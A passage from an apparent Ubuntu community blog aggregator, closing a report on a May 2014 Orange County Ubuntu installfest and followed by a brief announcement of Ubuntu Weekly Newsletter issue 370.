We ended the installfest with a giveaway. I drew names of attendees and we gave away an Android tablet and an external phone/tablet battery provided by OCLUG members, and then we gave away three exclusive Ubuntu Cloud t-shirts provided by Canonical in their conference pack. By the time the installfest was over, we had installed Ubuntu successfully on every target machine, passed out 35 Ubuntu Desktop discs and 3 Ubuntu Server discs, sold 5 USB drives, and impressed a faculty member who promised to promote the next installfest to his students because he said there was no reason they should have to pay for scientific software if they could have high quality software for free. He also discussed academic year timing with the OCLUG president and based on that there are preliminary plans to repeat the installfest in September when we should be able to attract more students.

Looking back, the flyers were designed for on-campus use but traveled further, so they should give a little more location context, and the installfest page should probably include specific event information instead of relying on the OCLUG main page. We only had a 4-hour window for the event and I still feel this isn’t quite long enough. I didn’t have much time to dedicate to the Ubuntu volunteers, all of whom were volunteering for the first time and while I felt bad about this, they all stepped up and excelled in a way that made me very proud. For September, I intend to engage the university’s radio, television, and newspapers to help spread the word a bit further on campus.

Photos of the event are available to download at http://people.ubuntu.com/~nhaines/images/events/2014/oc-installfest-may/

I’d like to encourage anyone in the Ubuntu community to modify and adapt any printable resource that would be helpful to them. All printable media as well as the source documents, the main presentation, and sanitized attendee records are available to download at http://people.ubuntu.com/~nhaines/documents/events/2014/oc-installfest-may/

The Fridge: Ubuntu Weekly Newsletter Issue 370

Mon, 2014-06-02 23:40

Welcome to the Ubuntu Weekly Newsletter. This is issue #370 for the week May 26 – June 1, 2014, and the full version is available here.

In this issue we cover:

The issue of The Ubuntu Weekly Newsletter is brought to you by:

  • Elizabeth K. Joseph
  • Paul White
  • Emily Gonyer
  • And many others

If you have a story idea for the Weekly Newsletter, join the Ubuntu News Team mailing list and submit it. Ideas can also be added to the wiki!

Except where otherwise noted, content in this issue is licensed under a Creative Commons Attribution 3.0 License BY SA Creative Commons License

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